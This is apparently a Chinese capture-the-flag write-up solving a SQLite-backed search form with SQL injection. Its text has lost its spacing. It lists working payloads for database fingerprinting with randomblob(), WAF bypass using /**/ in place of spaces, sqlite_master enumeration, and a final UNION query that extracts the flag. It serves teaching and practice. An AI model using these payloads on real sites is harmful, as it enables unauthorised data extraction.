,2,3--进行注入)
题目silent_logger工具Apipost 8.2.6第一步初步信息收集1.1 访问目标网站打开网站后发现这是一个简单的用户搜索界面标题“沉默的日志 - 用户搜索系统”功能搜索用户名或邮箱表单一个输入框和一个搜索按钮1.2 查看页面源码通过浏览器开发者工具查看页面结构formaction/searchmethodpostinputtypetextidquerynamequeryplaceholder输入搜索关键词...requiredbuttontypesubmit搜索/button/form关键发现表单提交到/search端点使用 POST 方法参数名是query第二步查看网络请求2.1 为什么需要枚举参数名虽然HTML中显示参数名是query但实际后端可能使用不同的参数名。需要测试多个常见的参数名。2.2 查看方法输入数字1点击搜索在网络中查看请求信息看到正确的参数名是query且参数格式为From Data第三步基础SQL注入测试打开APIPOST在Body里输入参数query1且参数格式选择form-data点击发送确保能够正常访问3.1 测试单引号注入Payload:结果返回 200页面正常显示这说明单引号没有被直接过滤但也没有触发明显的SQL错误3.2 测试 OR 注入Payload: OR 11结果连接失败可能触发了WAFWeb应用防火墙的防护机制3.3 测试注释符Payload: AND SLEEP(3) #结果返回错误 “unrecognized token: “#””说明#注释符不被支持Payload: AND SLEEP(3)--结果返回错误 “no such function: SLEEP”说明数据库不支持SLEEP()函数关键发现#注释符不支持--注释符支持没有SLEEP()函数 → 可能是SQLite数据库第四步数据库类型识别4.1 为什么需要识别数据库类型不同的数据库有不同的语法和函数需要针对性构造payload。4.2 SQLite特征测试测试1使用SQLite特有的时间延迟函数ANDrandomblob(100000000)--结果响应时间约3.054秒明显延迟 ✅randomblob()是SQLite特有的函数生成大量随机数据导致延迟测试2测试MySQL函数ANDSLEEP(3)--结果错误 “no such function: SLEEP”SQLite没有SLEEP()函数结论数据库类型是SQLite第五步测试UNION注入5.1 基础UNION测试Payload: UNION SELECT 1,2,3--结果连接失败可能是UNION关键字被过滤5.2 绕过WAF测试方法1大小写混淆Payload: UnIoN SeLeCt 1,2,3--结果连接失败大小写混淆无效方法2使用注释符绕过Payload:/**/union/**/select/**/1,2,3--结果成功返回数据 ✅关键发现UNION和SELECT关键字被过滤使用/**/(SQL注释) 替代空格可以绕过WAF返回结果ID: 1, 用户名: 2, 邮箱: 3说明查询返回3列第六步获取数据库结构信息6.1 获取SQLite版本Payload:/**/union/**/select/**/sqlite_version(),2,3--结果类型转换错误第1列期望是整数类型但返回的是字符串 “3.44.0”6.2 获取表结构从sqlite_master获取表名Payload:/**/union/**/select/**/name,2,3/**/from/**/sqlite_master--结果类型转换错误第1列返回的是字符串 “flags”从sqlite_master获取建表语句Payload:/**/union/**/select/**/sql,2,3/**/from/**/sqlite_master--结果类型转换错误但错误信息中泄露了建表语句CREATETABLEflags(idINTEGERPRIMARYKEYAUTOINCREMENT,valueTEXTNOTNULL)重大发现存在一个名为flags的表表结构id(整数),value(文本)flag很可能存储在value字段中假设查询到的第一张表不是flags还有什么办法使用group查询所有表Payload:/**/union/**/select/**/group_concat(name),2,3/**/from/**/sqlite_master/**/where/**/typetable--查找包含flag的表Payload:/**/union/**/select/**/name,2,3/**/from/**/sqlite_master/**/where/**/typetable/**/and/**/name/**/like/**/%flag%--获取列名的其他方法Payload:/**/union/**/select/**/group_concat(name),2,3/**/from/**/pragma_table_info(flags)--第七步构造最终Payload7.1 分析问题从之前的测试发现查询返回3列ID、用户名、邮箱第1列ID期望整数类型第2列用户名可以显示字符串第3列邮箱可以显示字符串7.2 构造payload的思路尝试1直接查询flags表Payload:/**/union/**/select/**/id,value,3/**/from/**/flags--结果成功✅ID: 1, 用户名: qsnctf{a6ac1b078aa445abbb45de0f673df0af}, 邮箱: 3为什么成功id字段是整数匹配第1列的类型value字段是字符串匹配第2列的类型3是常量匹配第3列的类型尝试2使用常量替代idPayload:/**/union/**/select/**/1,value,3/**/from/**/flags--结果同样成功 ✅ID: 1, 用户名: qsnctf{a6ac1b078aa445abbb45de0f673df0af}, 邮箱: 3尝试3自定义邮箱列Payload:/**/union/**/select/**/1,value,test/**/from/**/flags--结果成功 ✅ID: 1, 用户名: qsnctf{a6ac1b078aa445abbb45de0f673df0af}, 邮箱: test第八步获取Flag最终成功的Payloadadmin/**/union/**/select/**/id,value,3/**/from/**/flags--执行结果ID用户名邮箱1qsnctf{a6ac1b078aa445abbb45de0f673df0af}3Flagqsnctf{a6ac1b078aa445abbb45de0f673df0af}攻击思路总结思考路径图1. 信息收集 ↓ 2. 参数名枚举 → 发现 query 参数 ↓ 3. 基础注入测试 → 发现是SQLite数据库 ↓ 4. UNION注入测试 → 发现关键字被过滤 ↓ 5. WAF绕过 → 使用 /**/ 替代空格 ↓ 6. 获取数据库结构 → 发现 flags 表 ↓ 7. 构造最终payload → 获取flag关键技术点数据库类型识别SQLite特征randomblob()函数不支持SLEEP()通过错误信息判断数据库类型WAF绕过使用/**/(SQL注释) 替代空格这是常见的WAF绕过技巧UNION注入确定列数使用UNION SELECT 1,2,3--测试确定列类型通过错误信息判断每列的数据类型匹配数据类型确保SELECT的列与原查询的列类型匹配信息泄露利用错误信息获取数据库结构SQLite的sqlite_master表包含所有表的信息参考资源OWASP SQL InjectionSQLite DocumentationSQL Injection Cheat Sheet